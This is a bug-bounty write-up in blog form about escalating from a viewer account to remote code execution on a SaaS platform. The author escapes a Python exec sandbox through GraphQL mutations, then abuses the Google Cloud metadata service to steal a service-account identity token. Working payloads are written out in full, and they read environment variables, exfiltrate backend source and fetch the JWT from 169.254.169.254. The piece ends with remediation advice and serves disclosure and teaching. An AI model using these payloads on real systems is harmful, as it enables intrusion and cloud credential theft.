Press enter or click to view image in full size
From a simple query to Production “God Mode…!”
Imagine this: You’re logged into a modern SaaS platform…It’s sleek, it’s fast, and it has one killer feature — Custom Python Functions…To a regular user, it’s a productivity tool…To a hunter, it’s a doorway…!
In my previous guide, I showed you how to find the door.…Today, I’m going to show you how I picked the lock, walked through the house, and walked out with the keys to the entire Cloud Infrastructure…!
This is the story of a race from a “Viewer” account to a Full Cloud Identity Compromise…!
The Hook: The Illusion of the Sandbox…!
Modern applications love “User-Defined Logic.” Whether it’s spreadsheet formulas or custom scripts, they all share one thing: they run in a Sandbox…!
Developers build these sandboxes to keep us in a playground…But as hunters, our job is to find the loose board in the fence…!
Mindset: A sandbox is only as strong as its smallest oversight…If the server executes code, it’s not a question of ‘if’ you can escape, but ‘how’…!
Phase 1: Mapping the Terrain…!
Every great heist starts with a map…In GraphQL, that map is Graphql Introception Query and your resource IDs…I needed a valid workspaceId and appId to trigger any logic…A quick enumeration query gave me exactly what I needed…!
The Discovery Query:
query EnumerateResources {
getMyUser {
workspaces {
id # [TARGET_WORKSPACE_UUID]
folders {
apps {
id # [TARGET_APP_UUID]
}
}
}
}
}With these IDs in my pocket, I was no longer just a visitor…I was a participant…!
Press enter or click to view image in full size
Press enter or click to view image in full size
Phase 2: Finding the Loose Board…!
The application offered a mutation called createUserDefinedFunction…It promised to run Python code…!
The Exploit Injection:
We injected a function named hack_rce_v3 that imports the os module to dump environment variables…!
mutation InjectPythonV3 {
createUserDefinedFunction(input: {
workspaceId: “d6352aa3–9b59–44c9–9beb-cc4d0f260352”,
appId: “195306b2–80ca-4fa6-b420–760becb262ea”,
function: {
name: “hack_rce_v3”,
minArguments: 0,
maxArguments: 0,
arguments: [],
description: “RCE Test V3”,
usageExample: “=hack_rce_v3()”,
function: {
# PAYLOAD: Bypasses sandbox by using __import__ inline
pythonScript: “str(__import__(‘os’).environ)”
}
}
})
}Press enter or click to view image in full size
Triggering Execution:
mutation TriggerRCE_V3 {
evalFormula(input: {
workspaceId: "d6352aa3-9b59-44c9-9beb-cc4d0f260352",
appId: "195306b2-80ca-4fa6-b420-760becb262ea",
formula: "=hack_rce_v3()",
trigger: DATA_TABLE
}) {
displayValue
}
}Press enter or click to view image in full size
The Result: The server whispered back…I saw GAE_RUNTIME: python313, internal proxies, and working directories, RCE Confirmed…I was inside the container…!
Phase 3: The Whitebox Pivot…!
RCE is a spark, but source code is a floodlight…I used the subprocess module to read the server's own heart—its backend logic…!
By executing cat /workspace/main.py, I realized the app was importing a module called python_function.function…I followed the trail and found the "Smoking Gun" in the sandbox logic:
Get MPGODMATCH’s stories in your inbox
Join Medium for free to get updates from this writer.
Reading main.py:
mutation InjectReadFile {
createUserDefinedFunction(input: {
workspaceId: "d6352aa3-9b59-44c9-9beb-cc4d0f260352",
appId: "195306b2-80ca-4fa6-b420-760becb262ea",
function: {
name: "hack_read_main",
minArguments: 0,
maxArguments: 0,
arguments: [],
description: "Exfiltrate Source",
usageExample: "=hack_read_main()",
function: {
pythonScript: "str(__import__('subprocess').check_output(['cat', '/workspace/main.py']))"
}
}
})
}Press enter or click to view image in full size
mutation TriggerRCE_V3 {
evalFormula(input: {
workspaceId: "d6352aa3-9b59-44c9-9beb-cc4d0f260352",
appId: "195306b2-80ca-4fa6-b420-760becb262ea",
formula: "=hack_rce_main()",
trigger: DATA_TABLE
}) {
displayValue
}
}Press enter or click to view image in full size
From the response of Main.py:
# The vulnerability in the server's own code:
global_ns = { "xl": xl, "xl_rows": xl_rows }
exec(compile(tree, filename="", mode="exec"), global_ns, global_ns)The Flaw: They passed global_ns but forgot to set __builtins__: {}. Because of that one missing line, my __import__ payload worked perfectly…!
I also read many other internal files, also did the SSRF, But I have more interesting impact showing POC…!
Phase 4: The “Kill Shot” — Cloud Identity…!
Now, I had a choice…I could stop at RCE…But I looks for the Impact…!
I targeted the Google Cloud Metadata Service (the famous 169.254.169.254)…Most containers are firewalled from the outside world, but they often trust their internal "Metadata" mother-ship…!
I crafted one final payload to exfiltrate the OIDC Identity Token (JWT)…This isn’t just a password; it’s a digital passport that says “I am the Production Server…!”
The Final Mutation:
mutation InjectIDToken {
createUserDefinedFunction(input: {
workspaceId: "d6352aa3-9b59-44c9-9beb-cc4d0f260352",
appId: "195306b2-80ca-4fa6-b420-760becb262ea",
function: {
name: "hack_get_jwt",
minArguments: 0,
maxArguments: 0,
arguments: [],
description: "Get OIDC Identity Token",
usageExample: "=hack_get_jwt()",
function: {
# Fetches the signed JWT from the internal metadata server
pythonScript: "str(__import__('subprocess').check_output(['curl', '-s', '-H', 'Metadata-Flavor: Google', 'http://169.254.169.254/computeMetadata/v1/instance/service-accounts/default/identity?audience=https://google.com&format=full']))"
}
}
})
}Press enter or click to view image in full size
mutation TriggerIDToken {
evalFormula(input: {
workspaceId: "d6352aa3-9b59-44c9-9beb-cc4d0f260352",
appId: "195306b2-80ca-4fa6-b420-760becb262ea",
formula: "=hack_get_jwt()",
trigger: DATA_TABLE
}) {
displayValue
}
}Press enter or click to view image in full size
The Response: A massive, signed JWT…!
I decoded the token, and there it was: [email protected]…!
I had gone from a simple user to holding the production identity of a Google Cloud Service Account…Game Over…!
The Heart of the Matter: Why This Matters…!
When we talk about “Hacking,” people think of movies…But the reality is much more human…It’s about curiosity…It’s about seeing a “Custom Function” button and wondering, “What happens if I ask for more than I’m supposed to…?”
To the developers: Security is about the details…One missing dictionary key (__builtins__) turned a feature into a total compromise…!
To my fellow hunters: Follow the chain…Don’t stop at the error message…Don’t stop at the environment variables…Push until you find the identity of the machine itself…Sorry for these same kind of motivation you probably see in every post, but YUP I have to maintain the standard of medium…!😉😅
Final Impact:
- Arbitrary Command Execution (RCE)…!
- Full Backend Source Code Theft…!
- SSRF to Internal Cloud Services…!
- Production Service Account Takeover…!
Remediation for Developers:
- Strict Sandboxing: If you use
exec(), always use{'__builtins__': {}}…! - Network Hardening: Firewall the Metadata IP (
169.254.169.254) from user-code environments…! - Isolation: Run user code in “Zero Trust” micro-VMs (like Firecracker or gVisor)…!
Stay curious…Stay ethical…And keep hunting…!
If you enjoyed this deep dive, share it with your team and follow for more “Kill Chain” stories…Let’s make the web safer, one mutation at a time…!